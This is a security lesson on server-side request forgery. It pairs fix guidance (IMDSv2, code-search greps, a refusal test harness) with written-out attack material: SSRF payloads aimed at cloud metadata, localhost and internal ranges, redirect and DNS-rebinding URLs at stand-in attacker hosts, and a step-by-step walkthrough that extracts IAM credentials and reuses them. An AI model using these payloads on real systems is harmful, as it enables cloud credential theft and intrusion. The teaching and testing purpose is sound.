Server-Side Request Forgery
Make the server fetch a URL of the attacker's choosing, and every internal service becomes reachable from the internet.
SSRF (OWASP API7) is the attacker choosing where your server sends a request. Your server is inside the network. It holds credentials. It is trusted by things that trust nothing else. That is what makes SSRF disproportionately severe.
Where it comes from
Any feature where a URL arrives from a client:
- "Import from URL", avatar-by-link, website preview cards.
- Webhook registration — the customer supplies the endpoint you will call.
- PDF and screenshot generation from a supplied page.
- Document converters that fetch remote images, and XML parsers resolving entities.
- Any integration where the base URL is configurable per tenant.
What it reaches
| Target | Result |
|---|---|
http://169.254.169.254/ | cloud metadata — often IAM credentials |
http://localhost:6379 | Redis, usually unauthenticated |
http://10.0.x.x/ | internal services with no auth |
file:///etc/passwd | local files, if the client follows non-HTTP schemes |
http://localhost:8080/admin | the admin panel that was "internal only" |
Blind SSRF still matters
Even when the response is never shown, timing and error differences reveal which internal hosts and ports exist, and a POST to an internal service can change state without you ever seeing the reply.
Why the naive fixes fail
Blocking the string 169.254.169.254 is defeated by a DNS name resolving to it, by decimal notation (http://2852039166/), by IPv6 forms, by a redirect, and by DNS rebinding — where the name resolves to a safe address when you validate it and to an internal one when you connect. The next lesson covers what actually works.
The cloud metadata service
IMDSv1 answers an unauthenticated GET and returns role credentials. Enforce IMDSv2, which requires a PUT to obtain a token and honours a hop limit, so a simple SSRF cannot reach it. This is a one-line infrastructure change and it removes the worst outcome.
Example
# The feature: "import your profile picture from a URL"
POST /api/profile/avatar
{"url": "https://example.com/me.png"}
# The attack, in escalating order:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
{"url": "http://metadata.google.internal/computeMetadata/v1/"}
{"url": "http://localhost:6379/"}
{"url": "http://10.0.1.15:8080/admin/users"}
{"url": "file:///etc/passwd"}
{"url": "http://2852039166/"} # decimal for 169.254.169.254
{"url": "http://[::ffff:169.254.169.254]/"} # ipv6-mapped
{"url": "http://attacker.com/redirect"} # 302 → internal
{"url": "http://rebind.attacker.com/"} # safe at check, internal at connect
# Note the last three: string matching on the URL stops none of them.When to use it
- An avatar-import feature is used to read cloud IAM credentials from the metadata service, giving the attacker the application's full cloud permissions.
- A blind SSRF in a link-preview feature maps the internal network by measuring response times for different ports.
- A webhook registration endpoint is pointed at an internal admin API, turning an outbound feature into an internal POST.
More examples
Escalating from SSRF to cloud account takeover
The hop limit is the part people miss: without it, containers on a bridge network can still reach IMDS even with v2 enforced.
# Step 1 — confirm the fetch happens at all (blind is still useful)
POST /api/import {"url": "http://<your-collaborator>.oast.site/probe"}
# A DNS lookup or HTTP hit on your listener confirms the server fetched it.
# Step 2 — cloud metadata, IMDSv1
POST /api/import {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# → app-server-role
POST /api/import {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-server-role"}
# → {"AccessKeyId":"ASIA...","SecretAccessKey":"...","Token":"..."}
# Step 3 — those credentials are now usable from anywhere
export AWS_ACCESS_KEY_ID=ASIA...
aws s3 ls
aws rds describe-db-instances
# One image-import feature → the application's entire cloud permission set.
# ── The fix, at the infrastructure layer ─────────────────────────────
# IMDSv2 requires a PUT to obtain a token, and honours a hop limit.
# An SSRF that can only issue GETs cannot get a token at all.
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-put-response-hop-limit 1 \
--http-endpoint enabled
# hop-limit 1 means the response never leaves the instance — a container on a
# bridged network cannot reach it either.
# GCP is protected by a required header, which a plain fetch will not send:
# Metadata-Flavor: Google
# Azure similarly requires: Metadata: trueFinding SSRF sinks in your own codebase
PDF and screenshot generators are the most commonly missed sink: they run a full browser, follow redirects, and execute JavaScript that can fetch further URLs.
# Every outbound request whose URL is influenced by a request is a candidate.
# Node / TypeScript
grep -rnE "fetch\(|axios\.|got\(|request\(|http\.get|https\.get" src/ \
| grep -vE "^\s*//" | grep -E "req\.|params|query|body|input|url"
# Python
grep -rnE "requests\.(get|post|put)|urlopen|httpx\." . \
| grep -E "request\.|params|json\[|data\["
# PHP
grep -rnE "file_get_contents\(|curl_setopt.*CURLOPT_URL|Http::get" . \
| grep -E '\$request|\$_GET|\$_POST|\$input'
# The non-obvious sinks — these fetch URLs too:
# XML parsers with external entities enabled (see the XXE lesson)
# PDF generators (wkhtmltopdf, Puppeteer, WeasyPrint) rendering a URL
# Markdown / HTML renderers that fetch remote images
# Image libraries that follow remote references in SVG
# Webhook DELIVERY (the customer chose the destination)
# OAuth / OIDC discovery, if the issuer URL is tenant-configurable
# Anything with a "custom endpoint" or "self-hosted URL" setting
# For each hit, ask three questions:
# 1. Can a client influence the host?
# 2. Is the response body returned to them? (blind vs full)
# 3. Can it reach the metadata service or the internal network?
#
# Answering yes to (1) and (3) is a finding regardless of (2).A safe test harness for your own API
The redirect test is the one that fails most often: URL validation is usually present, and redirect following is usually left on by default.
// Assert that each known-dangerous target is refused. Add every new URL-taking
// endpoint to ENDPOINTS as it ships.
const SSRF_PAYLOADS = [
// Cloud metadata
'http://169.254.169.254/latest/meta-data/',
'http://metadata.google.internal/computeMetadata/v1/',
'http://100.100.100.200/latest/meta-data/', // Alibaba
// Loopback, in several notations
'http://localhost/',
'http://127.0.0.1/',
'http://127.1/',
'http://0.0.0.0/',
'http://[::1]/',
'http://2130706433/', // decimal 127.0.0.1
'http://0177.0.0.1/', // octal
// Private ranges
'http://10.0.0.1/',
'http://172.16.0.1/',
'http://192.168.1.1/',
'http://169.254.169.254/',
// Non-HTTP schemes
'file:///etc/passwd',
'gopher://127.0.0.1:6379/_INFO',
'dict://127.0.0.1:11211/stats',
'ftp://127.0.0.1/',
// Credentials-in-URL confusion
'http://[email protected]/',
'http://169.254.169.254#@example.com/',
];
const ENDPOINTS = [
{ method: 'post', path: '/api/profile/avatar', field: 'url' },
{ method: 'post', path: '/api/import', field: 'url' },
{ method: 'post', path: '/api/webhooks', field: 'endpoint' },
{ method: 'post', path: '/api/preview', field: 'link' },
];
describe('SSRF', () => {
for (const ep of ENDPOINTS) {
for (const url of SSRF_PAYLOADS) {
it(`${ep.path} refuses ${url}`, async () => {
const res = await request(app)[ep.method](ep.path)
.set('Authorization', `Bearer ${token}`)
.send({ [ep.field]: url });
expect([400, 422]).toContain(res.status);
// And nothing internal must appear in the response either.
expect(JSON.stringify(res.body))
.not.toMatch(/AccessKeyId|root:|ami-|instance-id/);
});
}
}
it('does not follow a redirect to an internal address', async () => {
const evil = await startServer((req, res) =>
res.writeHead(302, { Location: 'http://169.254.169.254/' }).end());
const res = await request(app).post('/api/import')
.set('Authorization', `Bearer ${token}`)
.send({ url: evil.url });
expect([400, 422]).toContain(res.status);
await evil.close();
});
});
Discussion